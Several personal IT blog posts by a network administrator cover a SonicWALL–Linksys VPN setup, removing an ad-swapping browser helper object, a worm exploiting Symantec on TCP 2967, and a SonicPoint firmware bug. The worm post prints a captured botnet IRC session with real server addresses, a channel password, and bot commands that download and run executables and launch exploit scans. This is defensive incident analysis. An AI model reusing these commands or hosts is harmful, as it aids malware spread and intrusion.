Building a Site-to-Site VPN Between SonicWALL and Linksys

A week or so ago I got a call from a customer who had gone out and purchased a Linksys router "with IPSec VPN" support. He was interested in placing this device at a remote site, and creating a VPN tunnel back to the SonicWALL that we manage. I recommended that he purchase SonicWALL devices for each site (he had more that he wanted to set up), but he was not interested in forking over the thousands of dollars that it would cost him ... and I couldn't blame him.

I have created VPN's between all sorts of odd ball devices, so I didn't think that this one would be any different. Yet this Linksys device would turn out to have quite a few caveats, hence my documentation here.

Some things to know about these new Linksys VPN devices: They used an embedded version of OpenSWAN, they have been known to slack on standards (such as encryption key length), they are not at *all* supported by SonicWALL (probably because of the loose interpretation of standards), you *CANNOT* have spaces in your policy name (it will accept them, but your policy will be broken).

Now, onto the "how to". For this example, I was using a Linksys RVS4000 with Firmware Version: V1.0.11 (out of the box default stuff). The SonicWALL is a Pro 2040 running the latest enhanced firmware, 3.2.0.3e. Note: I did not upgrade the Linksys firmware as I should not be supporting that device at all. Additionally, I am doing all of it's configuration remotely. I would never *dare* update firmware on a device over the Internet (and neither should you).

The Linksys configuration will be a tad more complicated, so we will start with that. Our goal will be to match the settings of the SonicWALL so that the second part goes easier. I have tried all sorts of mis-matched settings, and some of them worked. But if you want this to go smoothly you should stick to what you see here. Go ahead and get logged into your Linksys (if you need help with this part, RTFM).

Once logged in, click VPN from the top, and then VPN Passthrough. We want to *disable* all of these options. This is enabled for people who want to use a remote VPN client from behind this device. We are going to terminate the VPN to this device itself, so we do not want or need any of this enabled. It would only confuse the Linksys. After you disable them, be sure to click the Save Settings button.



Next, also under VPN at the top, click "IPSec VPN". This will bring up a window that you have to scroll through to see all of the options. For tunnel entry it will read "new". We will start with a name. It's HIGHLY important that you NOT use any spaces here. I made this mistake, and it took me an hour or so of troubleshooting cryptic messages to figure it out. Linksys should *not* all you to enter spaces here, but they do.



Keep scrolling and have a look at the other settings here. You can refer to this snapshot that I took.



For this policy that I created, I used "Subnet" for both local and remote. This is usually what you are trying to accomplish. That is, you have two networks (must be different networks) and you want to allow traffic to pass between them. You can also create a "host to network" configuration where one computer accesses a subnet (or vice versa). Obviously, local network should be what is configured on the Linksys device. Remote network, is what the primary subnet is defined as on the SonicWALL side.

For the Remote Security Gateway, choose IP address and put in the static IP of the SonicWALL. If you SonicWALL does not have a static IP, you can pick the "any" option here. But that also means that you would need to later use "agressive mode" and change the "Local Identity" and "Remote Identity" to a "Name" under advanced settings. Hopefully you have a static IP. That makes things easy. :-) Make sure you enter the static IP of the SonicWALL!! Not the SonicWALL's gateway IP (people confuse what they want in this box).

For Key Exchange Method we want to leave it at Auto. Flipping over to manual unlocks a lot of options that I wouldn't want to try and match up to the SonicWALL. For Encryption choose "3DES" (you have no other choice). For Authentication pick "SHA1" as this is what the SonicWALL uses as default. Make sure you disable "PFS" (also default on the SonicWALL). For Pre-Shared key enter a secret word (feel free to use special characters here, it makes the encryption stronger). You will need this password later when you configure the SonicWALL side. Lastly, for Key Life Time enter "28800".

Before you do anything else find the Save Settings button at the bottom which is almost hidden in the colored bar. Save those settings, and then scroll back down to the bottom of the screen and click the "Advanced Settings" button. You will get a pop-up window, so turn off any stupid pop-up blockers that you may be using.

Here is a snapshot that you can follow along with ...



For your Operational Mode, you want to use Main Mode. That is, unless the other end is using a dynamic IP address (in which case you would use Aggressive). For the Local and Remote Identity boxes, leave them at the default settings. This is telling the Linksys that it will trust the SonicWALL's identity based on the IP address that it is connecting from.

For encryption, use "3DES" and change the Authentication to "SHA1". Trust me, life will be easier on you when it comes time to configure the SonicWALL. For the "Group" you want to pick "1024-bit". Most people would call this "DH Group 2" (like the SonicWALL will). Make sure you also change this Key Lifetime to 28800. We do this, because the SonicWALL is not that flexible on these options. Some devices offer a lot of options for keys and might even expire them based on the amount of data being transferred. Again, to make like easier ... just make this 28800 seconds. Lastly, click the "Save Settings" button. Then "Close" this window. You're done here.

For the SonicWALL side, get logged into your SonicWALL and select "VPN" on the left side. Then, click the Add button to get a new policy (otherwise called an "SA") started up. If you have trouble here, RTFM!

We will start with the first tab. Here is a snapshot to follow along with ...



For Authenication Method, stick to the default. For name, pick whatever you want. If you are going to have a lot of these, you might want to pick a name that matches the Linksys at the other end. Or you can put something more meaningful here. SonicWALL will not punish you for using spaces. ;-)

For the IPsec Primary Gateway, enter the public IP address of the Linksys device. If it is using a dynamic IP, you can enter all zeroes here. Bear in mind, you would also have to change to agressive mode (at both ends) and use different "Local/Remote IKE ID" information. For the "Secondary" you can either enter zeroes, or let the SonicWALL do it for you. This field is in case you want to have a "failover" tunnel.

For the Shared Secret, enter the same Pre-Shared key that you used on the Linksys. This is your "secret word". Leave the Local and Peer IKE ID's alone (SonicWALL will know what to do here). Next, click the Network tab and have a look.



For the "Choose local network" you have some options here. If this is the only tunnel you will ever create, you can pick "LAN Primary Subnet". I have found that you can only use that object once in a policy, so I have got in the habit of making a new object that is a bit redundant. Click the drop down and choose "add network". I like to name it something meaningful such as use the network ID in the name, followed by a short description. Then if you have to look at this later, you will see the network ID right here in the policy. Now, make sure you create this is a "LAN" object, type is "Network". Enter the Network ID that this SonicWALL is configured for, and it's subnet mask. After you click "OK" you will be right back at this window.

For remote network, create a new network object that matches the Linksys. Your zone MUST BE "VPN" FOR THIS OBJECT. If it's not, this tunnel will not work!! Now you are ready to click the third tab "Proposals", and have a look.



Now we can be glad that we made all those changes to the Linksys. For Exchange, leave it at "Main Mode" (unless you had to switch to aggressive). For DH Group, leave it at Group 2 (which means, 1024-bit on the Linksys). Use all of the other settings that we did on the Linksys: 3DES, SHA1 and 28800 seconds. For Phase 2, leave the default of ESP, 3DES, and SHA1. Also notice, the default Life Time is 28800 here, and PFS is Disabled! In essence, you should change nothing here, but make sure everything matches up.

Now clidk the Advanced tab. There are some things here you may need later. I don't like the thought of NetBIOS going over a routed network. Some folks might need that option though (for lousy name resolution or old network printing). Also, its a good idea to check the Keep Alive option ... but do that later. One of the lessons I have learned is that if you run a Keep Alive on a bad configuration, your log will fill up with a bunch of failed attempts. Rather, wait until this tunnel is coming up successfully and make a note to come back and add this option. The Keep Alive will maintain this tunnel even when there is no traffic running across it. I like to keep tunnels up all the time, so that when people need to send traffic across it - the tunnel is up and ready.

Now comes the fun part. Click OK on the SonicWALL policy to save it away. Note that it's all ready "Enabled". Watching this screen will get you nowhere. It does not refresh, ever. So head back over to the Linksys device now in a different tab/window - and click that Enable button at the bottom of the policy window. Now, on the SonicWALL you can click the VPN > Settings option on the left which will refresh this screen. Do you have a "green light" on the SonicWALL's policy? Does it show an active connection in the lower portion of the window? Great! No green light? You have problems ... keep reading.

Regardless of whether or not it worked, you had better read the logs. I find that the SonicWALL logs are far better (at least in this match-up). So click "Log" on the SonicWALL and see what you have. A successful policy would look like this ...



Note that the first line in the log, is the last thing that it recorded. Your policy notes should end with "Adding IPSec SA" as you see in the illustration. If it all looks well, try to run some traffic through the tunnel. Bear in mind, you cannot ping the internal interfaces of the two devices. That is, you cannot ping the Linksys's LAN IP from the SonicWALL (or vice versa). I'm really not sure why this is, but I think it may have to do with the way that these devices are terminating the tunnel from end to end. So instead, try getting onto a PC connected to one network and ping a PC at the other end. If that fails - check the logs for errors, and also remember to disable personal/Windows firewalls! ;-)

Troubleshooting/Caveats
I had some STRANGE problems when I first attempted this. I hope this helps someone out there.

1) The SonicWALL reports that the settings don't match, but they do! - I had the SonicWALL at one point tell me that the DH groups were different, when they were in fact matched. There was no convincing it otherwise, and the solution was to delete the policy, RESTART the SonicWALL, and start over. Don't waste your time trying anything else.

2) The tunnel is up, but traffic is not passing across it. - Check that the "remote" network on the SonicWALL side is configured as a "VPN" zoned object. You can find this setting in Network > Address Objects. If you accidentally made it a LAN or WAN object, you should go back to your policy, choose a different object (or create a new one) and name it something different. Then, go back and delete the one you made with errors.

3) The Linksys is not even starting the tunnel connection! - Did you put spaces in the policy name on the Linksys device? If you did, delete the policy and start over from scratch. Also check ALL of your settings and match them up. Look at the logs at *both ends* for clues, but know that the SonicWALL will be more helpful in determining the problem.

One thing I will say in favor of Linksys, their Log is "detachable" where SonicWALL keeps theirs glued down. What I mean is that you can create a Log "pop up" from the Linksys and keep that window aside while you troubleshoot. Here is how ...



FIRST - Disabled your policy on the Linksys to stop it from logging junk. Then, click Administration > Log. You need to enable the Local Log as it is not turned on by default. Then make sure you Save Settings. Once that has been done, you can click the "View Log" button and you get a nice little logging window. It's not very big, and it doesn't refresh itself. So you will have to refresh it, and actually turn through the pages yourself. Also, the messages you will get will only make sense to someone who has worked extensively with OpenSWAN. Yet, pasting these errors in Google may uncover some good hints.

Once you have enabled your logging and you have your window up, go back and click "Enable" on the policy. Then refresh your log, and turn through the four or five pages of messages. Good luck!! ;-)

If you are attempting this and get stuck, feel free to comment, share your advice, point out my wrong doings, etc.

-Steve Ballantyne

Google Ads Have Nudity?

For a while now I have noticed a growing trend of pornography advertisements. I will be surfing along, visiting web sites that I have been on and off of for several years and then *boom* - you've got bare chested ladies down the side of your screen.

It wasn't until a month or so ago that I realized something was wrong. I was downloading chipset drivers for a friend of mine from VIA's website, www.viatech.com. There in the right margin was a couple sets of naked breasts. This really bothered me. Would a reputable company like this really stoop to that level for revenue? Looking at the page source it appeared that what I should have been seeing was Google Ad's, but they had been replaced somehow. Was this some sort of cookie hijacking? I got busy working on the project at hand and never investigated it further.

Today my browser crashed. The error message indicated that some awkwardly named dll had gone south, and the browser had to shut down. I have seen this before in earlier weeks and I just wrote it off to a bad component in Internet Explorer 7. But this was the second time today and I intended to get to the bottom of it. The object was called ~DP1C9.dll and when I performed a search on my hard drive for it - I turned up nothing. Next I went into the browser settings starting with "managed add-on's".



Oh, this was not good. Here I had somehow installed a "browser helper object" without a name. Surely if this was legitimate it would have been branded by the publisher. I disabled it immediately, and restarted Internet Explorer.



I was sure that I had somehow installed something nasty. What bothered me is that I have had this for probably a few months and nothing stopped it from installing. For that matter nothing ever caught it and told me about it! I checked my Symantec Antivirus definitions. They were up to date. But this seemed more like spyware, and Symantec has never been really good with detecting and removing that. More likely, this is something that Windows Defender should have stopped. For the sake of finding a cure, I went out and downloaded the latest and greatest copy of Windows Defeneder from Microsoft. I let it update to it's latest definitions and then performed a full scan.



Right now I am wondering why I waste the system resources on this product when it obviously doesn't work. I would have to take the law into my own hands.

First I would have to figure out where this little devil was hiding on my system. That ugly and awkward "manage add-on's" window was of no help to me. I ran reg-edit and searched for this object by it's object name.



Here it is, so that you won't have to retype it like I did. By the way, I would like to thank the engineers of Internet Explorer 7, for not allowing me to copy and paste anything from that window.

{598F4775-6FB6-477B-9842-E0426824E077}

Incidentally, if you came to this posting because you found the above object ID on your system, you are infected. Read the rest of this for removal instructions.

I found a couple of keys right away. This one told me exactly where the bad dll file was hiding out. Notice that this is in a location that normal users like you and I are not supposed to tread. Therefore to find it with a "Search" I would have had to of performed an advanced search and looked for "hidden files", "system files", etc.

Heading out to that location on my drive I found the dll file(s). Even with the browser shut down, and the objects disabled I was not allowed to remove these. I'm betting I would have to boot into safe mode. They are welcome to stay I suppose since they will no longer have any attachments to the browser when I get done.



Next I got to work on removing all of the registry keys that involved this string. That was actually pretty easy. I just ran "regedit" and did a "Find". For every key I found with the above mentioned object ID, I deleted it. Then, I reopened Internet Explorer and made sure that the "browser helper" object no longer appeared in my "manage add on's" list.

Now I just needed to prove my theory. Was this little dll file what was actually turning all my Google Ads into pornography? It wouldn't take much to find out. I went out and visited the site that I last remember seeing this problem with. YOu might try this too. Below is the URL to a VIA Forum. Scroll over to the right corner, and check the Ad in the top right. You *should* see Google Ad text (not bare chested ladies).

http://www.viaarena.com/default.aspx?PageID=5&ArticleID=497&P=6

To really make my point, I hopped onto my wifes computer. She has had this problem too. First we brought up the VIA Forum with the object enabled. She saw the pornography. Next we disabled the object, restarted the browser, and reloaded the page. Now she was seeing the Google Ads as they were meant to be.

I have no idea how this object got installed, but I have heard from other folks that they had this same problem. If you have a story to tell, drop me a comment.

-Steve Ballantyne

New Virus Attacks on TCP 2967

I was settling in Thursday for a couple hours of video games with my kids. We had just got back from Karate when my pager starting going off. One, two, three pages within minutes of one another. I would later find out that I had three different emergencies from different people. The first of which would take me a good hour and a half to chew through.

I connected into the SonicWALL of a newly added customer who was complaining that things simply "didn't work". My initial throughts were that the engineer who had configured the device earlier that day had made a mistake somewhere. It didn't take me long to find the problem. The SonicWALL had been configured in Transparent Mode allowing them to have a few servers on their DMZ with public addresses defined on them. The Transparent Mode requires that you create an object for the range of addresses, and a zone to put it in. The object was created as a "WAN" object, but had been put into a "LAN" zone. I have seen this before. The last time I had seen it was when I had made this same mistake. Remembering that simply changing the object didn't work, I reassigned the interface to a 192.x.x.x address. Next I deleted the object, and created a new one for the correct zone. Just for good measure, I restarted the SonicWALL.

Now traffic flowed perfectly - for about a minute and a half. "This is the same problem we had before we put the SonicWALL in", says the network admin. Next I went to work looking for signs of funny business. I brought up the connections list on the SonicWALL and found that it was "topped out". This particular SonicWALL supports up to 6,000 or so concurrent connections. They had hit that mark. Something was definitely wrong. The connections were all on TCP port 2967 and to what seemed like completely random hosts. The first octet was the same as the customers, but the remaining three were random numbers. This would make sense for a virus and we have seen some that attack NetBIOS this same way. It calculates a subnet mask based on your present address. That it, it assumes that if you have a class A address, it can access all the same hosts on that class A network. Because this customer had conigured a 24.x.x.x address, it was attempting to connect to all 16.7 million hosts to infect them.

Now we were getting to the root of the problem. "You have a virus", I say. "No, we are being attacked!", says the admin. I ran a packet trace on the activity. "No, you have a virus. I can see these connections are clearly coming from you".

The customer went on to complain that they didn't understand why the SonicWALL could not withstand the attack. I tried to explain that all devices have a well known limit of the number of connections that they can support, which is based on the amount of RAM that the unit has to spend on these connections. The customer didn't want to hear it. Looking for a quick solution, they yanked the SonicWALL and went without it. The effect of which was that they continued to try and spread the virus instead of fixing the problem.

Yesterday this same virus emerged again. This time, the customer gave me some time to analyze it, and attempt to trap it. I went right work disabling the initial attack. I created two acces rules for LAN to WAN traffic, discarding all TCP connections on ports 2967 and 2968. The "discard" was important, as a "deny" would still waste some time processing the connection and would keep the firewall at 100 percent CPU utilization. Next I went into the "super secret diagnostic page" of the SonicWALL (firewall.ip/diag.html) and flushed all connections. Back to the monitor, I was a little surprised to see that all the connections were full again. This time with NetBIOS ports (135, 139, 445). So I created a second LAN to WAN discard rule for the built in NetBIOS group. Oddly enough, that did not stop the attack, as the SonicWALL's built in NetBIOS group does *not* include TCP port 135. Rather than create a new group, or attempt to change a built in group ... I simply added one more rule. Another flush of the cache, and all was fine.

An hour or so later, I was back on the phone with the admin there. "These two laptops that were causing the trouble have a few hundred virus's on them", said the admin. Then I hit her with some further bad news. Both of the infected PC's were presently connected to an IRC server in Malaysia - doing "who knows what". I immediately dropped in another discarding rule this time stopping any traffic destined for this Malaysian server.

But curiosity got the best of me, and before I dumped these connections I ran a packet trace on the virus to see what it were doing. The connections were being made to a server 203.121.79.138 on port 51555. Here is what it revealed (the data yanked from the capture using Ethereal).

PASS r0flc0mz
NICK [P00|USA|64502]
USER XP-2224 * 0 :TEACHLAP06-12
:SSH 001 [P00|USA|64502] :MySQL [P00|USA|64502]!~XP-2224@70.60.35.170
:SSH 376 [P00|USA|64502] :
:[P00|USA|64502] MODE [P00|USA|64502] :+i
MODE [P00|USA|64502] -x+i
JOIN #bpe2# p00n3d
:[P00|USA|64502]!~XP-2224@70.60.35.170 JOIN :#bpe2#
:SSH 332 [P00|USA|64502] #bpe2# :!t kill all -s|!sftp 166.104.216.37 2755 1 1 2.exe -s|!asc netapi 30 3 0 -b -e -h -s|!asc sym 30 3 0 -b -e -h -s|!asc dcom135 30 3 0 -b -e -h -s|!asc lsass445 30 3 0 -b -e -h -s|!asc asn139 30 3 0 -b -e -h -s|!ip.wget http://www.milites-liberi.de/images/is6.exe c:\3i3o.exe 1 -s
:SSH 333 [P00|USA|64502] #bpe2# 10:30 PM 1168912264
:SSH 366 [P00|USA|64502] #bpe2# :End of /NAMES list.
MODE #bpe2#

This was *not good*. I could see that the virus was successful in getting a connection to this server which seemed to be helping to get other virus's downloaded and installed to the infected PC. I just had to try it myself, so I made a connection to the server with a terminal based IRC client (on the specified port) - joined the channel, and had a look around.

09:19 -!- Topic for #bpe#: !t kill all -s|!sftp 166.104.216.37 2755 1 1 2.exe
-s|!asc netapi 30 3 0 -c -e -h -s|!asc sym 50 3 0 -a -e -h -s|!asc
asn139 30 3 0 -b -e -h -s|!asc mssql 30 3 0 -a -e -h -s
09:19 -!- Topic set by 10:30 [] [Wed Dec 31 19:00:00 1969]
09:19 [Users #bpe#]

I was hoping to walk into a channel and see a wide list of infected users. Then I could possibly start performing "whois" lookups on the infected hosts and attempt to pick off anyone else who might happen to be one of our customers. Those hopes were dashed when it became clear how well the server was locked down. Only IRCOP's would be able to see other users. Connected users, would only see themselves in a channel.

While all this was happening, I was yelling over the wall to our application developer. He was rushing to build some new SQL queries that would target 1) excessive connections on TCP 2967, and 2) any connections made to this Malaysian server. It would reveal about 5 to 7 more customers that were experiencing this same virus.

By now you may be asking "why did this virus slip through the cracks?". The answer to that question has always been the same: "updates!". When you don't update your Antivirus products, you pay a hefty price for it. This particular virus emerged in late December and has been spreading in high numbers in the past few days. It was able to spread thanks to a flaw in Symantec Corporate Antivirus products that has been patched since May of this past year. So why didn't these customers get the patch? Some had just not been updated in some time, such as roaming users on laptops who don't often connect to the business network. Others had simply stopped paying for the product. What many people think is "why should I keep paying for this product when the updates are free?". They raise a good point. Symantec (Norton) will provide you free updated "definitions" until the end of time. They will not, however, provide you free "product" updates. Old virus engines do not handle new virus definitions well, if at all.

If you don't update your antivirus engine, your new updates are only effective against old virus's. Now apply logic to that statement and ask yourself "when was I last infected by a 2 year old virus?".

Another good question is: why couldn't I find any good information about this virus? Answer: Symantec would rather not make headlines about this, as it is a virus that attacks a flaw in an antivirus product. Oh the irony. Some credit due to Symantec, as they patched this flaw when it was revealed. That's about the best thing you can ask of the vendor. I was later sent a link from my boss which gave some explanation to what we have seen over the past week ...

Persistent zombie attacks target Symantec corporate software

Keep on trucking folks! If you found any of this helpful, drop me a comment,
-Steve Ballantyne

SonicPoint's Eat UDP 14443 Connections

A while back I had a student call me from their sorority house reporting problems with their SonicWALL. The installation had started as one small wireless device/router, the TZ50W. When the signal seamed too weak to cover the entire house, they moved up to a slightly more powerful SonicWALL TZ170W. When that didn't work, we paid them a visit. It turns out that the house was gigantic and there was no chance that the wireless signal would flow through the 100+ year old plaster walls and solid wood floors. The solution was clear - we would need SonicPoints!

SonicPoints allow you to create one wireless profile (SSID, encryption scheme, etc) and then plug in a slew of wireless access point devices that use it. The catch is, of course, that you have to run physical cables between each SonicPoint and the one SonicWALL device (sometimes defeating the point). The good news is that this is a great solution for a multi-floor home like the sorority house - and if power is a problem you can purchase a POE switch and plug your SonicPoints into that.

Just when you think you are done troubleshooting, I got an emergency phone call. The SonicWALL was dropping connections left and right, and many students in the house were reporting "no Internet access". I was able to connect into the SonicWALL and have a look. What I expected to find was one or two students running excessive filesharing, and eating up all the active connections of the main device (fairly common in residential University settings). What I ended up finding was that the SonicPoints themselves were running the SonicWALL out of active connections! It looked something like this ...

In the case of the sorority house, there were literally thousands of UDP connections on port 14443. They were clearly coming from the SonicPoints. While I knew that the SonicPoints would open some line of communication with the SonicWALL for profiles and such, I knew that this couldn't be normal operation. I had them reboot the SonicWALL and it went back to normal. But only a few minutes later the connections started appearing again.

A call into SonicWALL reveals "this is a known issue". Also an apparently "undocumented known issue" with the current Enhanced Firmware, version 3.2.0.3. The fix to this problem is to "roll back" to earlier firmware (nothing I ever like to do). But alas, I rolled back the firmware to 3.2.0.0 and the extra connections went away. Case closed?

Today we had another customer call in for unrelated problems. They too have SonicPoints. They too use Enhanced Firmware. They too have several hundred UDP connections opened with their SonicPoints. I wonder who else has had this problem? Have you? Leave me a comment. Hopefully SonicWALL will fix this with the release of version 3.5.

-Steve Ballantyne